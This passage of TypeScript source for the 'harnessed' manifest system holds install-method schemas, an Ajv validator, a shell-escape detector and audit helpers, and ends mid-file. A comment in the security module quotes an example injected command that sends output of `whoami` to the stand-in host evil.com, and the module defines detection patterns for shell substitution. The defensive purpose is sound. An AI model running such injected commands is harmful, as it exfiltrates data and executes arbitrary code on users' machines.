{\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new 